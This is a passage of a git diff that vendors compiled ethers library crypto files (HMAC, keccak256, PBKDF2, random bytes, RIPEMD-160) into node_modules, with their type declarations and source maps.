_computeHmac; +computeHmac.lock = function () { locked = true; }; +computeHmac.register = function (func) { + if (locked) { + throw new Error("computeHmac is locked"); + } + __computeHmac = func; +}; +Object.freeze(computeHmac); +//# sourceMappingURL=hmac.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/hmac.js.map b/node_modules/ethers/lib.commonjs/crypto/hmac.js.map new file mode 100644 index 000000000000..f129b30fa377 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/hmac.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hmac.js","sourceRoot":"","sources":["../../src.ts/crypto/hmac.ts"],"names":[],"mappings":";;;AAAA;;;;;;;GAOG;AACH,2CAAyC;AACzC,gDAAsD;AAKtD,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,YAAY,GAAG,UAAS,SAA8B,EAAE,GAAe,EAAE,IAAgB;IAC3F,OAAO,IAAA,sBAAU,EAAC,SAAS,EAAE,GAAG,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,MAAM,EAAE,CAAC;AAC5D,CAAC,CAAA;AAED,IAAI,aAAa,GAAG,YAAY,CAAC;AAEjC;;;;;;;;;;;;;;;;GAgBG;AACH,SAAgB,WAAW,CAAC,SAA8B,EAAE,IAAe,EAAE,KAAgB;IACzF,MAAM,GAAG,GAAG,IAAA,mBAAQ,EAAC,IAAI,EAAE,KAAK,CAAC,CAAC;IAClC,MAAM,IAAI,GAAG,IAAA,mBAAQ,EAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,IAAA,kBAAO,EAAC,aAAa,CAAC,SAAS,EAAE,GAAG,EAAE,IAAI,CAAC,CAAC,CAAC;AACxD,CAAC;AAJD,kCAIC;AACD,WAAW,CAAC,CAAC,GAAG,YAAY,CAAC;AAC7B,WAAW,CAAC,IAAI,GAAI,cAAa,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACjD,WAAW,CAAC,QAAQ,GAAG,UAAS,IAAsF;IAClH,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,uBAAuB,CAAC,CAAC;KAAE;IACzD,aAAa,GAAG,IAAI,CAAC;AACzB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,WAAW,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/index.d.ts b/node_modules/ethers/lib.commonjs/crypto/index.d.ts new file mode 100644 index 000000000000..8d6bc5625101 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/index.d.ts @@ -0,0 +1,25 @@ +/** + * A fundamental building block of Ethereum is the underlying + * cryptographic primitives. + * + * @_section: api/crypto:Cryptographic Functions [about-crypto] + */ +import { computeHmac } from "./hmac.js"; +import { keccak256 } from "./keccak.js"; +import { ripemd160 } from "./ripemd160.js"; +import { pbkdf2 } from "./pbkdf2.js"; +import { randomBytes } from "./random.js"; +import { scrypt, scryptSync } from "./scrypt.js"; +import { sha256, sha512 } from "./sha2.js"; +export { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync }; +export { SigningKey } from "./signing-key.js"; +export { Signature } from "./signature.js"; +/** + * Once called, prevents any future change to the underlying cryptographic + * primitives using the ``.register`` feature for hooks. + */ +declare function lock(): void; +export { lock }; +export type { ProgressCallback } from "./scrypt.js"; +export type { SignatureLike } from "./signature.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/index.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/index.d.ts.map new file mode 100644 index 000000000000..4f8d3c46bc6a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/index.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAKH,OAAO,EAAE,WAAW,EAAE,MAAM,WAAW,CAAC;AACxC,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AACxC,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAC3C,OAAO,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AACrC,OAAO,EAAE,WAAW,EAAE,MAAM,aAAa,CAAC;AAC1C,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,aAAa,CAAC;AACjD,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,WAAW,CAAC;AAE3C,OAAO,EACH,WAAW,EAEX,WAAW,EAEX,SAAS,EACT,SAAS,EACT,MAAM,EAAE,MAAM,EAEd,MAAM,EACN,MAAM,EAAE,UAAU,EACrB,CAAC;AAEF,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAE3C;;;GAGG;AACH,iBAAS,IAAI,IAAI,IAAI,CAWpB;AAED,OAAO,EAAE,IAAI,EAAE,CAAC;AAKhB,YAAY,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAC;AAEpD,YAAY,EAAE,aAAa,EAAE,MAAM,gBAAgB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/index.js b/node_modules/ethers/lib.commonjs/crypto/index.js new file mode 100644 index 000000000000..39a4b3562e51 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/index.js @@ -0,0 +1,49 @@ +"use strict"; +/** + * A fundamental building block of Ethereum is the underlying + * cryptographic primitives. + * + * @_section: api/crypto:Cryptographic Functions [about-crypto] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.lock = exports.Signature = exports.SigningKey = exports.scryptSync = exports.scrypt = exports.pbkdf2 = exports.sha512 = exports.sha256 = exports.ripemd160 = exports.keccak256 = exports.randomBytes = exports.computeHmac = void 0; +null; +// We import all these so we can export lock() +const hmac_js_1 = require("./hmac.js"); +Object.defineProperty(exports, "computeHmac", { enumerable: true, get: function () { return hmac_js_1.computeHmac; } }); +const keccak_js_1 = require("./keccak.js"); +Object.defineProperty(exports, "keccak256", { enumerable: true, get: function () { return keccak_js_1.keccak256; } }); +const ripemd160_js_1 = require("./ripemd160.js"); +Object.defineProperty(exports, "ripemd160", { enumerable: true, get: function () { return ripemd160_js_1.ripemd160; } }); +const pbkdf2_js_1 = require("./pbkdf2.js"); +Object.defineProperty(exports, "pbkdf2", { enumerable: true, get: function () { return pbkdf2_js_1.pbkdf2; } }); +const random_js_1 = require("./random.js"); +Object.defineProperty(exports, "randomBytes", { enumerable: true, get: function () { return random_js_1.randomBytes; } }); +const scrypt_js_1 = require("./scrypt.js"); +Object.defineProperty(exports, "scrypt", { enumerable: true, get: function () { return scrypt_js_1.scrypt; } }); +Object.defineProperty(exports, "scryptSync", { enumerable: true, get: function () { return scrypt_js_1.scryptSync; } }); +const sha2_js_1 = require("./sha2.js"); +Object.defineProperty(exports, "sha256", { enumerable: true, get: function () { return sha2_js_1.sha256; } }); +Object.defineProperty(exports, "sha512", { enumerable: true, get: function () { return sha2_js_1.sha512; } }); +var signing_key_js_1 = require("./signing-key.js"); +Object.defineProperty(exports, "SigningKey", { enumerable: true, get: function () { return signing_key_js_1.SigningKey; } }); +var signature_js_1 = require("./signature.js"); +Object.defineProperty(exports, "Signature", { enumerable: true, get: function () { return signature_js_1.Signature; } }); +/** + * Once called, prevents any future change to the underlying cryptographic + * primitives using the ``.register`` feature for hooks. + */ +function lock() { + hmac_js_1.computeHmac.lock(); + keccak_js_1.keccak256.lock(); + pbkdf2_js_1.pbkdf2.lock(); + random_js_1.randomBytes.lock(); + ripemd160_js_1.ripemd160.lock(); + scrypt_js_1.scrypt.lock(); + scrypt_js_1.scryptSync.lock(); + sha2_js_1.sha256.lock(); + sha2_js_1.sha512.lock(); + random_js_1.randomBytes.lock(); +} +exports.lock = lock; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/index.js.map b/node_modules/ethers/lib.commonjs/crypto/index.js.map new file mode 100644 index 000000000000..4fbf8d9263f5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/crypto/index.ts"],"names":[],"mappings":";AAAA;;;;;GAKG;;;AAEH,IAAI,CAAA;AAEJ,8CAA8C;AAC9C,uCAAwC;AASpC,4FATK,qBAAW,OASL;AARf,2CAAwC;AAYpC,0FAZK,qBAAS,OAYL;AAXb,iDAA2C;AAYvC,0FAZK,wBAAS,OAYL;AAXb,2CAAqC;AAcjC,uFAdK,kBAAM,OAcL;AAbV,2CAA0C;AAOtC,4FAPK,uBAAW,OAOL;AANf,2CAAiD;AAa7C,uFAbK,kBAAM,OAaL;AAAE,2FAbK,sBAAU,OAaL;AAZtB,uCAA2C;AASvC,uFATK,gBAAM,OASL;AAAE,uFATK,gBAAM,OASL;AAMlB,mDAA8C;AAArC,4GAAA,UAAU,OAAA;AACnB,+CAA2C;AAAlC,yGAAA,SAAS,OAAA;AAElB;;;GAGG;AACH,SAAS,IAAI;IACT,qBAAW,CAAC,IAAI,EAAE,CAAC;IACnB,qBAAS,CAAC,IAAI,EAAE,CAAC;IACjB,kBAAM,CAAC,IAAI,EAAE,CAAC;IACd,uBAAW,CAAC,IAAI,EAAE,CAAC;IACnB,wBAAS,CAAC,IAAI,EAAE,CAAC;IACjB,kBAAM,CAAC,IAAI,EAAE,CAAC;IACd,sBAAU,CAAC,IAAI,EAAE,CAAC;IAClB,gBAAM,CAAC,IAAI,EAAE,CAAC;IACd,gBAAM,CAAC,IAAI,EAAE,CAAC;IACd,uBAAW,CAAC,IAAI,EAAE,CAAC;AACvB,CAAC;AAEQ,oBAAI"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/keccak.d.ts b/node_modules/ethers/lib.commonjs/crypto/keccak.d.ts new file mode 100644 index 000000000000..533f46dc63d0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/keccak.d.ts @@ -0,0 +1,35 @@ +/** + * Cryptographic hashing functions + * + * @_subsection: api/crypto:Hash Functions [about-crypto-hashing] + */ +import type { BytesLike } from "../utils/index.js"; +/** + * Compute the cryptographic KECCAK256 hash of %%data%%. + * + * The %%data%% **must** be a data representation, to compute the + * hash of UTF-8 data use the [[id]] function. + * + * @returns DataHexstring + * @example: + * keccak256("0x") + * //_result: + * + * keccak256("0x1337") + * //_result: + * + * keccak256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + * // Strings are assumed to be DataHexString, otherwise it will + * // throw. To hash UTF-8 data, see the note above. + * keccak256("Hello World") + * //_error: + */ +export declare function keccak256(_data: BytesLike): string; +export declare namespace keccak256 { + var _: (data: Uint8Array) => Uint8Array; + var lock: () => void; + var register: (func: (data: Uint8Array) => BytesLike) => void; +} +//# sourceMappingURL=keccak.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/keccak.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/keccak.d.ts.map new file mode 100644 index 000000000000..a00644956676 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/keccak.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"keccak.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/keccak.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAMH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAWnD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAGlD;yBAHe,SAAS"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/keccak.js b/node_modules/ethers/lib.commonjs/crypto/keccak.js new file mode 100644 index 000000000000..ea51d66fba18 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/keccak.js @@ -0,0 +1,52 @@ +"use strict"; +/** + * Cryptographic hashing functions + * + * @_subsection: api/crypto:Hash Functions [about-crypto-hashing] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.keccak256 = void 0; +const sha3_1 = require("@noble/hashes/sha3"); +const index_js_1 = require("../utils/index.js"); +let locked = false; +const _keccak256 = function (data) { + return (0, sha3_1.keccak_256)(data); +}; +let __keccak256 = _keccak256; +/** + * Compute the cryptographic KECCAK256 hash of %%data%%. + * + * The %%data%% **must** be a data representation, to compute the + * hash of UTF-8 data use the [[id]] function. + * + * @returns DataHexstring + * @example: + * keccak256("0x") + * //_result: + * + * keccak256("0x1337") + * //_result: + * + * keccak256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + * // Strings are assumed to be DataHexString, otherwise it will + * // throw. To hash UTF-8 data, see the note above. + * keccak256("Hello World") + * //_error: + */ +function keccak256(_data) { + const data = (0, index_js_1.getBytes)(_data, "data"); + return (0, index_js_1.hexlify)(__keccak256(data)); +} +exports.keccak256 = keccak256; +keccak256._ = _keccak256; +keccak256.lock = function () { locked = true; }; +keccak256.register = function (func) { + if (locked) { + throw new TypeError("keccak256 is locked"); + } + __keccak256 = func; +}; +Object.freeze(keccak256); +//# sourceMappingURL=keccak.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/keccak.js.map b/node_modules/ethers/lib.commonjs/crypto/keccak.js.map new file mode 100644 index 000000000000..e99590356e1a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/keccak.js.map @@ -0,0 +1 @@ +{"version":3,"file":"keccak.js","sourceRoot":"","sources":["../../src.ts/crypto/keccak.ts"],"names":[],"mappings":";AAAA;;;;GAIG;;;AAEH,6CAAgD;AAEhD,gDAAsD;AAKtD,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,UAAU,GAAG,UAAS,IAAgB;IACxC,OAAO,IAAA,iBAAU,EAAC,IAAI,CAAC,CAAC;AAC5B,CAAC,CAAA;AAED,IAAI,WAAW,GAAoC,UAAU,CAAC;AAE9D;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,SAAgB,SAAS,CAAC,KAAgB;IACtC,MAAM,IAAI,GAAG,IAAA,mBAAQ,EAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,IAAA,kBAAO,EAAC,WAAW,CAAC,IAAI,CAAC,CAAC,CAAC;AACtC,CAAC;AAHD,8BAGC;AACD,SAAS,CAAC,CAAC,GAAG,UAAU,CAAC;AACzB,SAAS,CAAC,IAAI,GAAG,cAAmB,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACpD,SAAS,CAAC,QAAQ,GAAG,UAAS,IAAqC;IAC/D,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,SAAS,CAAC,qBAAqB,CAAC,CAAC;KAAE;IAC3D,WAAW,GAAG,IAAI,CAAC;AACvB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/pbkdf2.d.ts b/node_modules/ethers/lib.commonjs/crypto/pbkdf2.d.ts new file mode 100644 index 000000000000..400e9744fb1b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/pbkdf2.d.ts @@ -0,0 +1,35 @@ +/** + * A **Password-Based Key-Derivation Function** is designed to create + * a sequence of bytes suitible as a **key** from a human-rememberable + * password. + * + * @_subsection: api/crypto:Passwords [about-pbkdf] + */ +import type { BytesLike } from "../utils/index.js"; +/** + * Return the [[link-pbkdf2]] for %%keylen%% bytes for %%password%% using + * the %%salt%% and using %%iterations%% of %%algo%%. + * + * This PBKDF is outdated and should not be used in new projects, but is + * required to decrypt older files. + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the PBKDF2 + * pbkdf2(passwordBytes, salt, 1024, 16, "sha256") + * //_result: + */ +export declare function pbkdf2(_password: BytesLike, _salt: BytesLike, iterations: number, keylen: number, algo: "sha256" | "sha512"): string; +export declare namespace pbkdf2 { + var _: (password: Uint8Array, salt: Uint8Array, iterations: number, keylen: number, algo: "sha256" | "sha512") => BytesLike; + var lock: () => void; + var register: (func: (password: Uint8Array, salt: Uint8Array, iterations: number, keylen: number, algo: "sha256" | "sha512") => BytesLike) => void; +} +//# sourceMappingURL=pbkdf2.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/pbkdf2.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/pbkdf2.d.ts.map new file mode 100644 index 000000000000..f869e13c81de --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/pbkdf2.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"pbkdf2.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/pbkdf2.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAMH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAWnD;;;;;;;;;;;;;;;;;;;GAmBG;AACH,wBAAgB,MAAM,CAAC,SAAS,EAAE,SAAS,EAAE,KAAK,EAAE,SAAS,EAAE,UAAU,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,QAAQ,GAAG,QAAQ,GAAG,MAAM,CAIpI;yBAJe,MAAM"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/pbkdf2.js b/node_modules/ethers/lib.commonjs/crypto/pbkdf2.js new file mode 100644 index 000000000000..b771a19f2749 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/pbkdf2.js @@ -0,0 +1,53 @@ +"use strict"; +/** + * A **Password-Based Key-Derivation Function** is designed to create + * a sequence of bytes suitible as a **key** from a human-rememberable + * password. + * + * @_subsection: api/crypto:Passwords [about-pbkdf] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.pbkdf2 = void 0; +const crypto_js_1 = require("./crypto.js"); +const index_js_1 = require("../utils/index.js"); +let locked = false; +const _pbkdf2 = function (password, salt, iterations, keylen, algo) { + return (0, crypto_js_1.pbkdf2Sync)(password, salt, iterations, keylen, algo); +}; +let __pbkdf2 = _pbkdf2; +/** + * Return the [[link-pbkdf2]] for %%keylen%% bytes for %%password%% using + * the %%salt%% and using %%iterations%% of %%algo%%. + * + * This PBKDF is outdated and should not be used in new projects, but is + * required to decrypt older files. + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the PBKDF2 + * pbkdf2(passwordBytes, salt, 1024, 16, "sha256") + * //_result: + */ +function pbkdf2(_password, _salt, iterations, keylen, algo) { + const password = (0, index_js_1.getBytes)(_password, "password"); + const salt = (0, index_js_1.getBytes)(_salt, "salt"); + return (0, index_js_1.hexlify)(__pbkdf2(password, salt, iterations, keylen, algo)); +} +exports.pbkdf2 = pbkdf2; +pbkdf2._ = _pbkdf2; +pbkdf2.lock = function () { locked = true; }; +pbkdf2.register = function (func) { + if (locked) { + throw new Error("pbkdf2 is locked"); + } + __pbkdf2 = func; +}; +Object.freeze(pbkdf2); +//# sourceMappingURL=pbkdf2.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/pbkdf2.js.map b/node_modules/ethers/lib.commonjs/crypto/pbkdf2.js.map new file mode 100644 index 000000000000..0401de410066 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/pbkdf2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"pbkdf2.js","sourceRoot":"","sources":["../../src.ts/crypto/pbkdf2.ts"],"names":[],"mappings":";AAAA;;;;;;GAMG;;;AAEH,2CAAyC;AAEzC,gDAAsD;AAKtD,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,OAAO,GAAG,UAAS,QAAoB,EAAE,IAAgB,EAAE,UAAkB,EAAE,MAAc,EAAE,IAAyB;IAC1H,OAAO,IAAA,sBAAU,EAAC,QAAQ,EAAE,IAAI,EAAE,UAAU,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;AAChE,CAAC,CAAA;AAED,IAAI,QAAQ,GAAG,OAAO,CAAC;AAEvB;;;;;;;;;;;;;;;;;;;GAmBG;AACH,SAAgB,MAAM,CAAC,SAAoB,EAAE,KAAgB,EAAE,UAAkB,EAAE,MAAc,EAAE,IAAyB;IACxH,MAAM,QAAQ,GAAG,IAAA,mBAAQ,EAAC,SAAS,EAAE,UAAU,CAAC,CAAC;IACjD,MAAM,IAAI,GAAG,IAAA,mBAAQ,EAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,IAAA,kBAAO,EAAC,QAAQ,CAAC,QAAQ,EAAE,IAAI,EAAE,UAAU,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC,CAAC;AACvE,CAAC;AAJD,wBAIC;AACD,MAAM,CAAC,CAAC,GAAG,OAAO,CAAC;AACnB,MAAM,CAAC,IAAI,GAAG,cAAmB,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACjD,MAAM,CAAC,QAAQ,GAAG,UAAS,IAA0H;IACjJ,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,kBAAkB,CAAC,CAAC;KAAE;IACpD,QAAQ,GAAG,IAAI,CAAC;AACpB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/random.d.ts b/node_modules/ethers/lib.commonjs/crypto/random.d.ts new file mode 100644 index 000000000000..fd93780007d6 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/random.d.ts @@ -0,0 +1,14 @@ +/** + * Return %%length%% bytes of cryptographically secure random data. + * + * @example: + * randomBytes(8) + * //_result: + */ +export declare function randomBytes(length: number): Uint8Array; +export declare namespace randomBytes { + var _: (length: number) => Uint8Array; + var lock: () => void; + var register: (func: (length: number) => Uint8Array) => void; +} +//# sourceMappingURL=random.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/random.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/random.d.ts.map new file mode 100644 index 000000000000..a907fd7ef688 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/random.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"random.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/random.ts"],"names":[],"mappings":"AAkBA;;;;;;GAMG;AACH,wBAAgB,WAAW,CAAC,MAAM,EAAE,MAAM,GAAG,UAAU,CAEtD;yBAFe,WAAW"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/random.js b/node_modules/ethers/lib.commonjs/crypto/random.js new file mode 100644 index 000000000000..b8e4aca9b15d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/random.js @@ -0,0 +1,38 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.randomBytes = void 0; +/** + * A **Cryptographically Secure Random Value** is one that has been + * generated with additional care take to prevent side-channels + * from allowing others to detect it and prevent others from through + * coincidence generate the same values. + * + * @_subsection: api/crypto:Random Values [about-crypto-random] + */ +const crypto_js_1 = require("./crypto.js"); +let locked = false; +const _randomBytes = function (length) { + return new Uint8Array((0, crypto_js_1.randomBytes)(length)); +}; +let __randomBytes = _randomBytes; +/** + * Return %%length%% bytes of cryptographically secure random data. + * + * @example: + * randomBytes(8) + * //_result: + */ +function randomBytes(length) { + return __randomBytes(length); +} +exports.randomBytes = randomBytes; +randomBytes._ = _randomBytes; +randomBytes.lock = function () { locked = true; }; +randomBytes.register = function (func) { + if (locked) { + throw new Error("randomBytes is locked"); + } + __randomBytes = func; +}; +Object.freeze(randomBytes); +//# sourceMappingURL=random.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/random.js.map b/node_modules/ethers/lib.commonjs/crypto/random.js.map new file mode 100644 index 000000000000..16ef92a9a26c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/random.js.map @@ -0,0 +1 @@ +{"version":3,"file":"random.js","sourceRoot":"","sources":["../../src.ts/crypto/random.ts"],"names":[],"mappings":";;;AAAA;;;;;;;GAOG;AACH,2CAA2D;AAE3D,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,YAAY,GAAG,UAAS,MAAc;IACxC,OAAO,IAAI,UAAU,CAAC,IAAA,uBAAa,EAAC,MAAM,CAAC,CAAC,CAAC;AACjD,CAAC,CAAA;AAED,IAAI,aAAa,GAAG,YAAY,CAAC;AAEjC;;;;;;GAMG;AACH,SAAgB,WAAW,CAAC,MAAc;IACtC,OAAO,aAAa,CAAC,MAAM,CAAC,CAAC;AACjC,CAAC;AAFD,kCAEC;AAED,WAAW,CAAC,CAAC,GAAG,YAAY,CAAC;AAC7B,WAAW,CAAC,IAAI,GAAG,cAAmB,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACtD,WAAW,CAAC,QAAQ,GAAG,UAAS,IAAoC;IAChE,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,uBAAuB,CAAC,CAAC;KAAE;IACzD,aAAa,GAAG,IAAI,CAAC;AACzB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,WAAW,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/ripemd160.d.ts b/node_modules/ethers/lib.commonjs/crypto/ripemd160.d.ts new file mode 100644 index 000000000000..27b7b4a1c211 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/ripemd160.d.ts @@ -0,0 +1,25 @@ +import type { BytesLike } from "../utils/index.js"; +/** + * Compute the cryptographic RIPEMD-160 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * ripemd160("0x") + * //_result: + * + * ripemd160("0x1337") + * //_result: + * + * ripemd160(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +export declare function ripemd160(_data: BytesLike): string; +export declare namespace ripemd160 { + var _: (data: Uint8Array) => Uint8Array; + var lock: () => void; + var register: (func: (data: Uint8Array) => BytesLike) => void; +} +//# sourceMappingURL=ripemd160.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/ripemd160.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/ripemd160.d.ts.map new file mode 100644 index 000000000000..03f10806466e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/ripemd160.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ripemd160.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/ripemd160.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAWnD;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAGlD;yBAHe,SAAS"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/ripemd160.js b/node_modules/ethers/lib.commonjs/crypto/ripemd160.js new file mode 100644 index 000000000000..ac69f3a179e0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/ripemd160.js @@ -0,0 +1,42 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ripemd160 = void 0; +const ripemd160_1 = require("@noble/hashes/ripemd160"); +const index_js_1 = require("../utils/index.js"); +let locked = false; +const _ripemd160 = function (data) { + return (0, ripemd160_1.ripemd160)(data); +}; +let __ripemd160 = _ripemd160; +/** + * Compute the cryptographic RIPEMD-160 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * ripemd160("0x") + * //_result: + * + * ripemd160("0x1337") + * //_result: + * + * ripemd160(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +function ripemd160(_data) { + const data = (0, index_js_1.getBytes)(_data, "data"); + return (0, index_js_1.hexlify)(__ripemd160(data)); +} +exports.ripemd160 = ripemd160; +ripemd160._ = _ripemd160; +ripemd160.lock = function () { locked = true; }; +ripemd160.register = function (func) { + if (locked) { + throw new TypeError("ripemd160 is locked"); + } + __ripemd160 = func; +}; +Object.freeze(ripemd160); +//# sourceMappingURL=ripemd160.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/ripemd160.js.map b/node_modules/ethers/lib.commonjs/crypto/ripemd160.js.map new file mode 100644 index 000000000000..d5e51b4f0031 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/ripemd160.js.map @@ -0,0 +1 @@ 